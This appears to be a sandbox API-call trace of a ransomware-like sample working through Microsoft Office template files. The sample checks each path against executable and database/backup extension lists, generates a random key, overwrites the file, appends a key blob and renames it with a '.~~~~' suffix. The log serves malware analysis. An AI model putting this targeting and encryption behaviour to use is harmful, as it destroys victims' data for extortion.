	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".BAK") returned 0x0
	[0144.092] lstrlenW (lpString=".BAC") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".BAC") returned 0x0
	[0144.092] lstrlenW (lpString=".dbs") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".dbs") returned 0x0
	[0144.092] lstrlenW (lpString=".vhdx") returned 5
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".vhdx") returned 0x0
	[0144.092] lstrlenW (lpString=".NDF") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".NDF") returned 0x0
	[0144.092] lstrlenW (lpString=".dat") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".dat") returned 0x0
	[0144.092] lstrlenW (lpString=".DBS") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".DBS") returned 0x0
	[0144.092] lstrlenW (lpString=".CKP") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".CKP") returned 0x0
	[0144.092] lstrlenW (lpString=".edb") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".edb") returned 0x0
	[0144.092] lstrlenW (lpString=".PST") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".PST") returned 0x0
	[0144.092] lstrlenW (lpString=".dbf") returned 4
	[0144.092] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".dbf") returned 0x0
	[0144.093] lstrlenW (lpString=".SQL") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".SQL") returned 0x0
	[0144.093] lstrlenW (lpString=".pst") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".pst") returned 0x0
	[0144.093] lstrlenW (lpString=".dbv") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".dbv") returned 0x0
	[0144.093] lstrlenW (lpString=".SDF") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".SDF") returned 0x0
	[0144.093] lstrlenW (lpString=".dtxs") returned 5
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".dtxs") returned 0x0
	[0144.093] lstrlenW (lpString=".db3") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".db3") returned 0x0
	[0144.093] lstrlenW (lpString=".OST") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".OST") returned 0x0
	[0144.093] lstrlenW (lpString=".dbx") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".dbx") returned 0x0
	[0144.093] lstrlenW (lpString=".DB3") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".DB3") returned 0x0
	[0144.093] lstrlenW (lpString=".DAT") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".DAT") returned 0x0
	[0144.093] lstrlenW (lpString=".VHDX") returned 5
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".VHDX") returned 0x0
	[0144.093] lstrlenW (lpString=".ndf") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".ndf") returned 0x0
	[0144.093] lstrlenW (lpString=".DB") returned 3
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".DB") returned 0x0
	[0144.093] lstrlenW (lpString=".sql") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".sql") returned 0x0
	[0144.093] lstrlenW (lpString=".MYD") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".MYD") returned 0x0
	[0144.093] lstrlenW (lpString=".DBT") returned 4
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".DBT") returned 0x0
	[0144.093] lstrlenW (lpString=".ACCDB") returned 6
	[0144.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".ACCDB") returned 0x0
	[0144.093] lstrlenW (lpString=".fdb") returned 4
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".fdb") returned 0x0
	[0144.094] lstrlenW (lpString=".bak") returned 4
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".bak") returned 0x0
	[0144.094] lstrlenW (lpString=".myd") returned 4
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".myd") returned 0x0
	[0144.094] lstrlenW (lpString=".DTXS") returned 5
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".DTXS") returned 0x0
	[0144.094] lstrlenW (lpString=".ckp") returned 4
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".ckp") returned 0x0
	[0144.094] lstrlenW (lpString=".dbt") returned 4
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".dbt") returned 0x0
	[0144.094] lstrlenW (lpString=".db") returned 3
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".db") returned 0x0
	[0144.094] lstrlenW (lpString=".TXT") returned 4
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".TXT") returned 0x0
	[0144.094] lstrlenW (lpString=".MDF") returned 4
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".MDF") returned 0x0
	[0144.094] lstrlenW (lpString=".bdb") returned 4
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".bdb") returned 0x0
	[0144.094] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.094] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0144.095] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.095] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.095] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26408547243) returned 1
	[0144.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbf4b57d0, dwHighDateTime=0x1d60e1e)) 
	[0144.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2748
	[0144.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2748 | out: hHeap=0x300000) returned 1
	[0144.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac860
	[0144.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac860 | out: hHeap=0x300000) returned 1
	[0144.096] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0144.096] GetLastError () returned 0x0
	[0144.096] GetLastError () returned 0x0
	[0144.097] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0144.097] GetLastError () returned 0x0
	[0144.097] GetLastError () returned 0x0
	[0144.097] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x5d3e, lpOverlapped=0x0) returned 1
	[0144.098] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffa2c2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.099] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x5d3e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x5d3e, lpOverlapped=0x0) returned 1
	[0144.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0144.099] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.099] WriteFile (in: hFile=0x10c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.099] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.099] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.099] CloseHandle (hObject=0x10c) returned 1
	[0144.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39ae80
	[0144.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx.~~~~")) returned 1
	[0144.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ae80 | out: hHeap=0x300000) returned 1
	[0144.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.102] GetLastError () returned 0x0
	[0144.102] RtlWakeConditionVariable () returned 0x0
	[0144.102] GetCurrentThreadId () returned 0x9cc
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".scr") returned 0x0
	[0144.102] lstrlenW (lpString=".cmd") returned 4
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".cmd") returned 0x0
	[0144.102] lstrlenW (lpString=".dll") returned 4
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".dll") returned 0x0
	[0144.102] lstrlenW (lpString=".bat") returned 4
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".bat") returned 0x0
	[0144.102] lstrlenW (lpString=".cpl") returned 4
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".cpl") returned 0x0
	[0144.102] lstrlenW (lpString=".sys") returned 4
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".sys") returned 0x0
	[0144.102] lstrlenW (lpString=".msc") returned 4
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".msc") returned 0x0
	[0144.102] lstrlenW (lpString=".com") returned 4
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".com") returned 0x0
	[0144.102] lstrlenW (lpString=".lnk") returned 4
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".lnk") returned 0x0
	[0144.102] lstrlenW (lpString=".msp") returned 4
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".msp") returned 0x0
	[0144.102] lstrlenW (lpString=".pif") returned 4
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".pif") returned 0x0
	[0144.102] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0144.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0144.104] lstrlenW (lpString=".sqb") returned 4
	[0144.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".sqb") returned 0x0
	[0144.104] lstrlenW (lpString=".ost") returned 4
	[0144.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".ost") returned 0x0
	[0144.104] lstrlenW (lpString=".txt") returned 4
	[0144.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".txt") returned 0x0
	[0144.104] lstrlenW (lpString=".mdt") returned 4
	[0144.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".mdt") returned 0x0
	[0144.104] lstrlenW (lpString=".BDB") returned 4
	[0144.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".BDB") returned 0x0
	[0144.104] lstrlenW (lpString=".eql") returned 4
	[0144.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".eql") returned 0x0
	[0144.104] lstrlenW (lpString=".DBF") returned 4
	[0144.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".DBF") returned 0x0
	[0144.105] lstrlenW (lpString=".EQL") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".EQL") returned 0x0
	[0144.105] lstrlenW (lpString=".FDB") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".FDB") returned 0x0
	[0144.105] lstrlenW (lpString=".EDB") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".EDB") returned 0x0
	[0144.105] lstrlenW (lpString=".DACPAC") returned 7
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".DACPAC") returned 0x0
	[0144.105] lstrlenW (lpString=".VHD") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".VHD") returned 0x0
	[0144.105] lstrlenW (lpString=".DBV") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".DBV") returned 0x0
	[0144.105] lstrlenW (lpString=".dacpac") returned 7
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".dacpac") returned 0x0
	[0144.105] lstrlenW (lpString=".sdf") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".sdf") returned 0x0
	[0144.105] lstrlenW (lpString=".accdb") returned 6
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".accdb") returned 0x0
	[0144.105] lstrlenW (lpString=".DBX") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".DBX") returned 0x0
	[0144.105] lstrlenW (lpString=".MDT") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".MDT") returned 0x0
	[0144.105] lstrlenW (lpString=".SQB") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".SQB") returned 0x0
	[0144.105] lstrlenW (lpString=".vhd") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".vhd") returned 0x0
	[0144.105] lstrlenW (lpString=".bac") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".bac") returned 0x0
	[0144.105] lstrlenW (lpString=".mdf") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".mdf") returned 0x0
	[0144.105] lstrlenW (lpString=".BAK") returned 4
	[0144.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".BAK") returned 0x0
	[0144.164] lstrlenW (lpString=".BAC") returned 4
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".BAC") returned 0x0
	[0144.164] lstrlenW (lpString=".dbs") returned 4
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".dbs") returned 0x0
	[0144.164] lstrlenW (lpString=".vhdx") returned 5
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".vhdx") returned 0x0
	[0144.164] lstrlenW (lpString=".NDF") returned 4
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".NDF") returned 0x0
	[0144.164] lstrlenW (lpString=".dat") returned 4
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".dat") returned 0x0
	[0144.164] lstrlenW (lpString=".DBS") returned 4
	[0144.164] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".DBS") returned 0x0
	[0144.164] lstrlenW (lpString=".CKP") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".CKP") returned 0x0
	[0144.165] lstrlenW (lpString=".edb") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".edb") returned 0x0
	[0144.165] lstrlenW (lpString=".PST") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".PST") returned 0x0
	[0144.165] lstrlenW (lpString=".dbf") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".dbf") returned 0x0
	[0144.165] lstrlenW (lpString=".SQL") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".SQL") returned 0x0
	[0144.165] lstrlenW (lpString=".pst") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".pst") returned 0x0
	[0144.165] lstrlenW (lpString=".dbv") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".dbv") returned 0x0
	[0144.165] lstrlenW (lpString=".SDF") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".SDF") returned 0x0
	[0144.165] lstrlenW (lpString=".dtxs") returned 5
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".dtxs") returned 0x0
	[0144.165] lstrlenW (lpString=".db3") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".db3") returned 0x0
	[0144.165] lstrlenW (lpString=".OST") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".OST") returned 0x0
	[0144.165] lstrlenW (lpString=".dbx") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".dbx") returned 0x0
	[0144.165] lstrlenW (lpString=".DB3") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".DB3") returned 0x0
	[0144.165] lstrlenW (lpString=".DAT") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".DAT") returned 0x0
	[0144.165] lstrlenW (lpString=".VHDX") returned 5
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".VHDX") returned 0x0
	[0144.165] lstrlenW (lpString=".ndf") returned 4
	[0144.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".ndf") returned 0x0
	[0144.166] lstrlenW (lpString=".DB") returned 3
	[0144.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx", lpSrch=".DB") returned 0x0
